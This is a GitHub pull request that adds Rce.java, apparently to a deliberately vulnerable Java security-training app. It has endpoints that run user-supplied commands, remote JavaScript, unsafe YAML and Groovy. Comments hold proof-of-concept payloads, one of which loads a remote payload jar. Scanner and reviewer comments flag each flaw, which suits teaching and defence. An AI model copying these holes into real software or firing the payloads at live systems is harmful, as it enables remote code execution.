-
Notifications
You must be signed in to change notification settings - Fork 0
add Rce.java #3
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
add Rce.java #3
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| @@ -0,0 +1,138 @@ | ||||||||||||||||||||||||||||||
| package org.joychou.controller; | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| import groovy.lang.GroovyShell; | ||||||||||||||||||||||||||||||
| import lombok.extern.slf4j.Slf4j; | ||||||||||||||||||||||||||||||
| import org.springframework.web.bind.annotation.GetMapping; | ||||||||||||||||||||||||||||||
| import org.springframework.web.bind.annotation.RequestMapping; | ||||||||||||||||||||||||||||||
| import org.springframework.web.bind.annotation.RestController; | ||||||||||||||||||||||||||||||
| import org.yaml.snakeyaml.Yaml; | ||||||||||||||||||||||||||||||
| import org.yaml.snakeyaml.constructor.SafeConstructor; | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| import javax.script.Bindings; | ||||||||||||||||||||||||||||||
| import javax.script.ScriptContext; | ||||||||||||||||||||||||||||||
| import javax.script.ScriptEngine; | ||||||||||||||||||||||||||||||
| import javax.script.ScriptEngineManager; | ||||||||||||||||||||||||||||||
| import java.io.BufferedInputStream; | ||||||||||||||||||||||||||||||
| import java.io.BufferedReader; | ||||||||||||||||||||||||||||||
| import java.io.InputStreamReader; | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| /** | ||||||||||||||||||||||||||||||
| * Java code execute | ||||||||||||||||||||||||||||||
| * | ||||||||||||||||||||||||||||||
| * @author JoyChou @ 2018-05-24 | ||||||||||||||||||||||||||||||
| */ | ||||||||||||||||||||||||||||||
| @Slf4j | ||||||||||||||||||||||||||||||
| @RestController | ||||||||||||||||||||||||||||||
| @RequestMapping("/rce") | ||||||||||||||||||||||||||||||
| public class Rce { | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| @GetMapping("/runtime/exec") | ||||||||||||||||||||||||||||||
| public String CommandExec(String cmd) { | ||||||||||||||||||||||||||||||
| Runtime run = Runtime.getRuntime(); | ||||||||||||||||||||||||||||||
| StringBuilder sb = new StringBuilder(); | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| try { | ||||||||||||||||||||||||||||||
| Process p = run.exec(cmd); | ||||||||||||||||||||||||||||||
Check failureCode scanning / SonarCloud OS commands should not be vulnerable to command injection attacks
<!--SONAR_ISSUE_KEY:AZWiEIx5GaQdYdx2B2UD-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEIx5GaQdYdx2B2UD&open=AZWiEIx5GaQdYdx2B2UD&pullRequest=3">SonarQube Cloud</a></p>
Check failureCode scanning / SonarCloud OS commands should not be vulnerable to command injection attacks
<!--SONAR_ISSUE_KEY:AZWiEWIQAKPcbPrntm8Y-->Change this code to not construct the OS command from user-controlled data. <p>See more on <a href="https://sonarcloud.io/project/issues?id=cccfeng_java-sec-code&issues=AZWiEWIQAKPcbPrntm8Y&open=AZWiEWIQAKPcbPrntm8Y&pullRequest=7">SonarQube Cloud</a></p>
|
||||||||||||||||||||||||||||||
| BufferedInputStream in = new BufferedInputStream(p.getInputStream()); | ||||||||||||||||||||||||||||||
| BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); | ||||||||||||||||||||||||||||||
| String tmpStr; | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| while ((tmpStr = inBr.readLine()) != null) { | ||||||||||||||||||||||||||||||
| sb.append(tmpStr); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| if (p.waitFor() != 0) { | ||||||||||||||||||||||||||||||
| if (p.exitValue() == 1) | ||||||||||||||||||||||||||||||
| return "Command exec failed!!"; | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| inBr.close(); | ||||||||||||||||||||||||||||||
| in.close(); | ||||||||||||||||||||||||||||||
| } catch (Exception e) { | ||||||||||||||||||||||||||||||
| return e.toString(); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| return sb.toString(); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
Comment on lines
+30
to
+56
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 存在高危的系统命令注入风险(Runtime.exec) 以下示例展示如何禁止直接执行来自用户的输入: public String CommandExec(String cmd) {
- Process p = run.exec(cmd);
+ // TODO: 强制使用安全设计,禁止直接执行用户命令
+ throw new UnsupportedOperationException("禁止传入任意命令执行。请先进行安全改造。");
}
🧰 Tools🪛 GitHub Check: SonarCloud[failure] 36-36: OS commands should not be vulnerable to command injection attacks Change this code to not construct the OS command from user-controlled data.See more on SonarQube Cloud |
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| /** | ||||||||||||||||||||||||||||||
| * <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a> | ||||||||||||||||||||||||||||||
| */ | ||||||||||||||||||||||||||||||
| @GetMapping("/ProcessBuilder") | ||||||||||||||||||||||||||||||
| public String processBuilder(String cmd) { | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| StringBuilder sb = new StringBuilder(); | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| try { | ||||||||||||||||||||||||||||||
| String[] arrCmd = {"/bin/sh", "-c", cmd}; | ||||||||||||||||||||||||||||||
| ProcessBuilder processBuilder = new ProcessBuilder(arrCmd); | ||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||
| Process p = processBuilder.start(); | ||||||||||||||||||||||||||||||
| BufferedInputStream in = new BufferedInputStream(p.getInputStream()); | ||||||||||||||||||||||||||||||
| BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); | ||||||||||||||||||||||||||||||
| String tmpStr; | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| while ((tmpStr = inBr.readLine()) != null) { | ||||||||||||||||||||||||||||||
| sb.append(tmpStr); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| } catch (Exception e) { | ||||||||||||||||||||||||||||||
| return e.toString(); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| return sb.toString(); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
Comment on lines
+63
to
+83
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 同样存在高危的系统命令注入风险(ProcessBuilder) 可考虑通过以下方式处理: String[] arrCmd = {"/bin/sh", "-c", cmd};
-ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
+// TODO: 禁止使用未校验的用户输入进行命令执行
+throw new UnsupportedOperationException("禁止传入任意命令执行。请先进行安全改造。");
🧰 Tools🪛 GitHub Check: SonarCloud[failure] 69-69: OS commands should not be vulnerable to command injection attacks Change this code to not construct the OS command from user-controlled data.See more on SonarQube Cloud |
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| /** | ||||||||||||||||||||||||||||||
| * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js | ||||||||||||||||||||||||||||||
| * | ||||||||||||||||||||||||||||||
| * curl http://xx.yy/zz.js | ||||||||||||||||||||||||||||||
| * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");} | ||||||||||||||||||||||||||||||
| * | ||||||||||||||||||||||||||||||
| * @param jsurl js url | ||||||||||||||||||||||||||||||
| */ | ||||||||||||||||||||||||||||||
| @GetMapping("/jscmd") | ||||||||||||||||||||||||||||||
| public void jsEngine(String jsurl) throws Exception{ | ||||||||||||||||||||||||||||||
| // js nashorn javascript ecmascript | ||||||||||||||||||||||||||||||
| ScriptEngine engine = new ScriptEngineManager().getEngineByName("js"); | ||||||||||||||||||||||||||||||
| Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE); | ||||||||||||||||||||||||||||||
| String cmd = String.format("load(\"%s\")", jsurl); | ||||||||||||||||||||||||||||||
| engine.eval(cmd, bindings); | ||||||||||||||||||||||||||||||
|
||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
Comment on lines
+95
to
+101
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 动态执行JS脚本存在严重安全隐患 如果确有场景需要运行受信任脚本,建议采用签名校验或严格白名单方式: String cmd = String.format("load(\"%s\")", jsurl);
-engine.eval(cmd, bindings);
+throw new UnsupportedOperationException("禁止直接加载外部JS,需改用安全方案或白名单。");📝 Committable suggestion
Suggested change
🧰 Tools🪛 GitHub Check: SonarCloud[failure] 100-100: Dynamic code execution should not be vulnerable to injection attacks Change this code to not dynamically execute code influenced by user-controlled data.See more on SonarQube Cloud |
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| /** | ||||||||||||||||||||||||||||||
| * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]] | ||||||||||||||||||||||||||||||
| * yaml-payload.jar: https://github.com/artsploit/yaml-payload | ||||||||||||||||||||||||||||||
| * | ||||||||||||||||||||||||||||||
| * @param content payloads | ||||||||||||||||||||||||||||||
| */ | ||||||||||||||||||||||||||||||
| @GetMapping("/vuln/yarm") | ||||||||||||||||||||||||||||||
| public void yarm(String content) { | ||||||||||||||||||||||||||||||
| Yaml y = new Yaml(); | ||||||||||||||||||||||||||||||
| y.load(content); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
Comment on lines
+111
to
+114
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 通过不安全的构造器加载 YAML 或导致任意代码执行 |
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| @GetMapping("/sec/yarm") | ||||||||||||||||||||||||||||||
| public void secYarm(String content) { | ||||||||||||||||||||||||||||||
| Yaml y = new Yaml(new SafeConstructor()); | ||||||||||||||||||||||||||||||
| y.load(content); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| /** | ||||||||||||||||||||||||||||||
| * http://localhost:8080/rce/groovy?content="open -a Calculator".execute() | ||||||||||||||||||||||||||||||
| * @param content groovy shell | ||||||||||||||||||||||||||||||
| */ | ||||||||||||||||||||||||||||||
| @GetMapping("groovy") | ||||||||||||||||||||||||||||||
| public void groovyshell(String content) { | ||||||||||||||||||||||||||||||
| GroovyShell groovyShell = new GroovyShell(); | ||||||||||||||||||||||||||||||
| groovyShell.evaluate(content); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
Comment on lines
+127
to
+130
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. 动态执行 Groovy 脚本存在远程代码执行风险 |
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
| public static void main(String[] args) throws Exception{ | ||||||||||||||||||||||||||||||
| Runtime.getRuntime().exec("touch /tmp/x"); | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
| } | ||||||||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||||
Uh oh!
There was an error while loading. Please reload this page.